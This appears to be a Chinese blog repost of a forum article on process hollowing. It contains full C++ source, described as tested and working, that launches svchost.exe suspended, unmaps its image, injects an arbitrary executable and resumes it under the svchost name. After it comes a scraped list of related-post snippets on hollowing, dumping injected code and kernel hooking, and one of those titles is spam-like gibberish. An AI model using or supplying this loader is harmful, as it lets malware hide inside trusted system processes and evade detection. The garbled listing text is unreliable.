傀儡进程

看雪上的一篇文章:http://bbs.pediy.com/showthread.php?t=170530。代码测试后可用,代码风格也很好,收获很大。

过程如下:

1、创建一个挂起的svchost进程
2、找svchost进程的OEP备用
3、在svchost中开辟几块空间 存放自己的PeLoader、PE文件的ShellCode、参数结构等
4、将PeLoader、ShellCode、参数结构写入svchost中
5、Hook svchost的OEP 改为PeLoader
6、恢复svchost进程执行PeLoader加载ShellCode并运行

#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include "psapi.h"

struct PE_Header
{
    unsigned long signature;
    unsigned short machine;
    unsigned short numSections;
    unsigned long timeDateStamp;
    unsigned long pointerToSymbolTable;
    unsigned long numOfSymbols;
    unsigned short sizeOfOptionHeader;
    unsigned short characteristics;
};

struct PE_ExtHeader
{
    unsigned short magic;
    unsigned char majorLinkerVersion;
    unsigned char minorLinkerVersion;
    unsigned long sizeOfCode;
    unsigned long sizeOfInitializedData;
    unsigned long sizeOfUninitializedData;
    unsigned long addressOfEntryPoint;
    unsigned long baseOfCode;
    unsigned long baseOfData;
    unsigned long imageBase;
    unsigned long sectionAlignment;
    unsigned long fileAlignment;
    unsigned short majorOSVersion;
    unsigned short minorOSVersion;
    unsigned short majorImageVersion;
    unsigned short minorImageVersion;
    unsigned short majorSubsystemVersion;
    unsigned short minorSubsystemVersion;
    unsigned long reserved1;
    unsigned long sizeOfImage;
    unsigned long sizeOfHeaders;
    unsigned long checksum;
    unsigned short subsystem;
    unsigned short DLLCharacteristics;
    unsigned long sizeOfStackReserve;
    unsigned long sizeOfStackCommit;
    unsigned long sizeOfHeapReserve;
    unsigned long sizeOfHeapCommit;
    unsigned long loaderFlags;
    unsigned long numberOfRVAAndSizes;
    unsigned long exportTableAddress;
    unsigned long exportTableSize;
    unsigned long importTableAddress;
    unsigned long importTableSize;
    unsigned long resourceTableAddress;
    unsigned long resourceTableSize;
    unsigned long exceptionTableAddress;
    unsigned long exceptionTableSize;
    unsigned long certFilePointer;
    unsigned long certTableSize;
    unsigned long relocationTableAddress;
    unsigned long relocationTableSize;
    unsigned long debugDataAddress;
    unsigned long debugDataSize;
    unsigned long archDataAddress;
    unsigned long archDataSize;
    unsigned long globalPtrAddress;
    unsigned long globalPtrSize;
    unsigned long TLSTableAddress;
    unsigned long TLSTableSize;
    unsigned long loadConfigTableAddress;
    unsigned long loadConfigTableSize;
    unsigned long boundImportTableAddress;
    unsigned long boundImportTableSize;
    unsigned long importAddressTableAddress;
    unsigned long importAddressTableSize;
    unsigned long delayImportDescAddress;
    unsigned long delayImportDescSize;
    unsigned long COMHeaderAddress;
    unsigned long COMHeaderSize;
    unsigned long reserved2;
    unsigned long reserved3;
};

struct SectionHeader
{
    unsigned char sectionName[8];
    unsigned long virtualSize;
    unsigned long virtualAddress;
    unsigned long sizeOfRawData;
    unsigned long pointerToRawData;
    unsigned long pointerToRelocations;
    unsigned long pointerToLineNumbers;
    unsigned short numberOfRelocations;
    unsigned short numberOfLineNumbers;
    unsigned long characteristics;
};

struct MZHeader
{
    unsigned short signature;
    unsigned short partPag;
    unsigned short pageCnt;
    unsigned short reloCnt;
    unsigned short hdrSize;
    unsigned short minMem;
    unsigned short maxMem;
    unsigned short reloSS;
    unsigned short exeSP;
    unsigned short chksum;
    unsigned short exeIP;
    unsigned short reloCS;
    unsigned short tablOff;
    unsigned short overlay;
    unsigned char reserved[32];
    unsigned long offsetToPE;
};

struct ImportDirEntry
{
    DWORD importLookupTable;
    DWORD timeDateStamp;
    DWORD fowarderChain;
    DWORD nameRVA;
    DWORD importAddressTable;
};

//**********************************************************************************************************
//
// This function reads the MZ, PE, PE extended and Section Headers from an EXE file.
//
//**********************************************************************************************************

bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
                SectionHeader **outSecHdr)
{
    fseek(fp, 0, SEEK_END);
    long fileSize = ftell(fp);
    fseek(fp, 0, SEEK_SET);

    if(fileSize < sizeof(MZHeader))
        return false;

    // read MZ Header
    MZHeader mzH;
    fread(&mzH, sizeof(MZHeader), 1, fp);

    if(mzH.signature != 0x5a4d)    // MZ
        return false;

    if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))
        return false;

    // read PE Header
    fseek(fp, mzH.offsetToPE, SEEK_SET);
    PE_Header peH;
    fread(&peH, sizeof(PE_Header), 1, fp);

    if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
        return false;

    // read PE Ext Header
    PE_ExtHeader peXH;

    fread(&peXH, sizeof(PE_ExtHeader), 1, fp);

    // read the sections
    SectionHeader *secHdr = new SectionHeader[peH.numSections];

    fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);

    *outMZ = mzH;
    *outPE = peH;
    *outpeXH = peXH;
    *outSecHdr = secHdr;

    return true;
}

//**********************************************************************************************************
//
// This function calculates the size required to load an EXE into memory with proper alignment.
//
//**********************************************************************************************************

int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
                       SectionHeader *inSecHdr)
{
    int result = 0;
    int alignment = inpeXH->sectionAlignment;

    if(inpeXH->sizeOfHeaders % alignment == 0)
        result += inpeXH->sizeOfHeaders;
    else
    {
        int val = inpeXH->sizeOfHeaders / alignment;
        val++;
        result += (val * alignment);
    }

    for(int i = 0; i < inPE->numSections; i++)
    {
        if(inSecHdr[i].virtualSize)
        {
            if(inSecHdr[i].virtualSize % alignment == 0)
                result += inSecHdr[i].virtualSize;
            else
            {
                int val = inSecHdr[i].virtualSize / alignment;
                val++;
                result += (val * alignment);
            }
        }
    }

    return result;
}

//**********************************************************************************************************
//
// This function calculates the aligned size of a section
//
//**********************************************************************************************************

unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
{
    if(curSize % alignment == 0)
        return curSize;
    else
    {
        int val = curSize / alignment;
        val++;
        return (val * alignment);
    }
}

//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
            SectionHeader *inSecHdr, LPVOID ptrLoc)
{
    char *outPtr = (char *)ptrLoc;

    fseek(fp, 0, SEEK_SET);
    unsigned long headerSize = inpeXH->sizeOfHeaders;

    // certain PE files have sectionHeaderSize value > size of PE file itself.
    // this loop handles this situation by find the section that is nearest to the
    // PE header.

    for(int i = 0; i < inPE->numSections; i++)
    {
        if(inSecHdr[i].pointerToRawData < headerSize)
            headerSize = inSecHdr[i].pointerToRawData;
    }

    // read the PE header
    unsigned long readSize = fread(outPtr, 1, headerSize, fp);
    if(readSize != headerSize)
        return false;    

    outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);

    // read the sections
    for(i = 0; i < inPE->numSections; i++)
    {
        if(inSecHdr[i].sizeOfRawData > 0)
        {
            unsigned long toRead = inSecHdr[i].sizeOfRawData;
            if(toRead > inSecHdr[i].virtualSize)
                toRead = inSecHdr[i].virtualSize;

            fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET);
            readSize = fread(outPtr, 1, toRead, fp);

            if(readSize != toRead)
                return false;

            outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
        }
        else
        {
            // this handles the case where the PE file has an empty section. E.g. UPX0 section
            // in UPXed files.

            if(inSecHdr[i].virtualSize)
                outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
        }
    }

    return true;
}

struct FixupBlock
{
    unsigned long pageRVA;
    unsigned long blockSize;
};

//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************

void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
                  SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
{
    if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
    {
        FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);
        long delta = newBase - inpeXH->imageBase;

        while(fixBlk->blockSize)
        {
            int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;

            unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);

            for(int i = 0; i < numEntries; i++)
            {
                DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));

                int relocType = (*offsetPtr & 0xF000) >> 12;

                if(relocType == 3)
                    *codeLoc = ((DWORD)*codeLoc) + delta;

                offsetPtr++;
            }

            fixBlk = (FixupBlock *)offsetPtr;
        }
    }
}

#define TARGETPROC "svchost.exe"

typedef struct _PROCINFO
{
    DWORD baseAddr;
    DWORD imageSize;
} PROCINFO;

//**********************************************************************************************************
//
// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.
//
//**********************************************************************************************************

BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
{
    STARTUPINFO si = {0};

    if(CreateProcess(NULL, TARGETPROC,
        NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi))
    {
        ctx->ContextFlags=CONTEXT_FULL;
        GetThreadContext(pi->hThread, ctx);

        DWORD *pebInfo = (DWORD *)ctx->Ebx;
        DWORD read;
        ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);

        DWORD curAddr = outChildProcInfo->baseAddr;
        MEMORY_BASIC_INFORMATION memInfo;
        while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
        {
            if(memInfo.State == MEM_FREE)
                break;
            curAddr += memInfo.RegionSize;
        }
        outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;

        return TRUE;
    }
    return FALSE;
}

//**********************************************************************************************************
//
// Returns true if the PE file has a relocation table
//
//**********************************************************************************************************

BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
{
    if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
    {
        return TRUE;
    }
    return FALSE;
}

typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);

//**********************************************************************************************************
//
// To replace the original EXE with another one we do the following.
// 1) Create the original EXE process in suspended mode.
// 2) Unmap the image of the original EXE.
// 3) Allocate memory at the baseaddress of the new EXE.
// 4) Load the new EXE image into the allocated memory.
// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended
//    thread.
//
// When the original EXE process is created in suspend mode, GetThreadContext returns these useful
// register values.
// EAX - process entry point
// EBX - points to PEB
//
// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the
// new EXE.
//
//**********************************************************************************************************

void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
            SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
{
    STARTUPINFO si = {0};
    PROCESS_INFORMATION pi;
    CONTEXT ctx;
    PROCINFO childInfo;

    if(createChild(&pi, &ctx, &childInfo))
    {
        LPVOID v = (LPVOID)NULL;

        if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
        {
            // if new EXE has same baseaddr and is its size is <= to the original EXE, just
            // overwrite it in memory
            v = (LPVOID)childInfo.baseAddr;
            DWORD oldProtect;
            VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);
        }
        else
        {
            // get address of ZwUnmapViewOfSection
            PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");

            // try to unmap the original EXE image
            if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
            {
                // allocate memory for the new EXE image at the prefered imagebase.
                v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            }
        }

        if(!v && hasRelocationTable(inpeXH))
        {
            // if unmap failed but EXE is relocatable, then we try to load the EXE at another
            // location
            v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            if(v)
            {
                // we‘ve got to do the relocation ourself if we load the image at another
                // memory location
                doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
            }
        }

        if(v)
        {
            // patch the EXE base addr in PEB (PEB + 8 holds process base addr)
            DWORD *pebInfo = (DWORD *)ctx.Ebx;
            DWORD wrote;
            WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);

            // patch the base addr in the PE header of the EXE that we load ourselves
            PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
            peXH->imageBase = (DWORD)v;

            if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
            {
                ctx.ContextFlags=CONTEXT_FULL;
                //ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);

                if((DWORD)v == childInfo.baseAddr)
                {
                    ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;    // eax holds new entry point
                }
                else
                {
                    // in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was
                    // performed.
                    ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;    // eax holds new entry point
                }

                GetLastError();

                SetThreadContext(pi.hThread,&ctx);

                ResumeThread(pi.hThread);
            }
            else
                TerminateProcess(pi.hProcess, 0);
        }
        else
            TerminateProcess(pi.hProcess, 0);
    }
}
//argv[1]为要写入到svchost.exe中的可执行文件
int main(int argc,   char* argv[])
{
    if(argc!=2)
        return 0;

    char szModulePath[MAX_PATH];
    strcpy(szModulePath,argv[1]);

    FILE *fp = fopen(szModulePath, "rb");
    if(fp)
    {
        MZHeader mzH;
        PE_Header peH;
        PE_ExtHeader peXH;
        SectionHeader *secHdr;

        if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
        {
            int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);

            LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            if(ptrLoc)
            {
                loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);                        

                doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);
            }
            else
                return 0;
        }
        fclose(fp);
        return 1;
    }
    else
        return 0;
}
时间: 2024-12-04 22:52:01

傀儡进程的相关文章

傀儡进程脱壳三步曲

傀儡进程创建过程: (1) 通过CreateProcess以CREATE_SUSPENDED方式创建一个进程. (2) GetThreadContext获取挂起进程CONTEXT. (3) ZwUnmapViewOfSection卸载挂起进程内存空间数据: (4) VirtualAlloc分配内存空间: (5) WriteProcessMemory将恶意代码写入分配的内存: (6) SetThreadContext设置挂起进程状态: (6) ResumeThread唤醒进程运行 1.ZwResu

LordPE修复从进程dump出来的内存文件

场景 应急响应中从进程发现被注入了EXE文件,通过processhacker的Memory模块dump出来注入的文件.PE修复后在IDA里反汇编查看这个恶意代码的功能是什么. 解决 LordPE 虚拟内存对齐修复 [Section Table] 每个区段的 VirtualAddress与RawOffset对齐 VirtualSize与RawSize对齐 [Basic PE Header Information] 修复exe加载基地址和dump的内存地址 相关示例 LoadPE载入dump后的程序

XDCTF-Writeup

Team:ROIS_ThreeLine(ET,Rice,liognaij) Note: 这篇writeup由本人和两位队友共同完成,非个人单独作品.其中仅包含队伍提交通过的题目,在两位队友努力下取得第14的成绩,谨以此文为纪念. 若有幸被转载还请注明出处. Web20 php彩蛋 URL后缀加上 ?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 即可得到flag http://game1.xdctf.com:8081/H86Ki4NnCSVv/?=PHPB8B5

动态加载并执行Win32可执行程序

本文所贴出的PoC代码将告诉你如何通过CreateProcess创建一个傀儡进程(称之为可执行程序A),并把dwCreationFlags设置为CREATE_SUSPENDED,然后把另一个可执行程序(称之为可执行程序B)的内容加载到所创建的进程空间中,最终借用傀儡进程(A)的外壳来执行可执行程序B的内容.同时这段代码也会告诉你如何手工对Win32可执行程序进行重定位处理,以及如何从进程空间中取消已经映射的EXE映像. 在Windows操作系统下,通过给CreateProcess传递一个CREA

FTP-------应用层协议

FTP 是File Transfer Protocol(文件传输协议)的英文简称,而中文简称为"文传协议".用于Internet上的控制文件的双向传输.同时,它也是一个应用程序(Application). 基于不同的操作系统有不同的FTP应用程序,而所有这些应用程序都遵守同一种协议以传输文件.在FTP的使用当中,用户经常遇到两个概念:"下载" (Download)和"上传"(Upload)."下载"文件就是从远程主机拷贝文件至

突破session 0隔离 和 劫持exe注入(转自梦无极)

代码基本源于网络,作用看个人需求. session 0隔离是个老话题,这里简单讲讲,小伙伴们赶快看过来吧. 自vista系统开始,进程便有了session空间的概念,一般系统服务进程是在session 0的会话空间里面执行,其他应用程序都是在session 1或者session x会话空间中运行.一般情况下,进程A属于session x会话空间,那么它所创建的进程同样是属于session x会话空间.当你写的是个系统服务的时候,由于系统服务进程处于session 0空间,所以该进程如果想创建出一

FTP协议及工作原理

1. FTP协议 什么是FTP呢?FTP 是 TCP/IP 协议组中的协议之一,是英文File Transfer Protocol的缩写. 该协议是Internet文件传送的基础,它由一系列规格说明文档组成,目标是提高文件的共享性,提供非直接使用远程计算机,使存储介质对用户透明 和可靠高效地传送数据.简单的说,FTP就是完成两台计算机之间的拷贝,从远程计算机拷贝文件至自己的计算机上,称之为“下载 (download)”文件.若将文件从自己计算机中拷贝至远程计算机上,则称之为“上载(upload)

从hook开始聊聊那些windows内核数据结构

总览: IAT HOOK Object Hook Ssdt Hook 源码 内核知识及源码 内核知识级源码 一.IAT HOOK:因为上一篇博客对已经对IAT Hook基本流程及作用进行了介绍,希望能先学懂PE再来看IATHook.下面贴上Iathook的源码,源码中有详细的注释,还记着为什么不能结束360的进程吗?参考思路如下图(因为写代码的时候解决方案写到了源码中,不粘贴复制过来了): 以下代码是DLL注入+iathook,通过测试procexp中的kill功能并没有使用OpenProces

fdgfwwwkkw6060com实现安装HOOK19908836661

IAT HOOK Object Hook Ssdt Hook源码 内核知识及源码 内核知识级源码一.IAT HOOK:因为上一篇博客对已经对IAT Hook基本流程及作用进行了介绍,希望能先学懂PE再来看IATHook.下面贴上Iathook的源码,源码中有详细的注释,还记着为什么不能结束360的进程吗?参考思路如下图(因为写代码的时候解决方案写到了源码中,不粘贴复制过来了):从hook开始聊聊那些windows内核数据结构 以下代码是DLL注入+iathook,通过测试procexp中的kil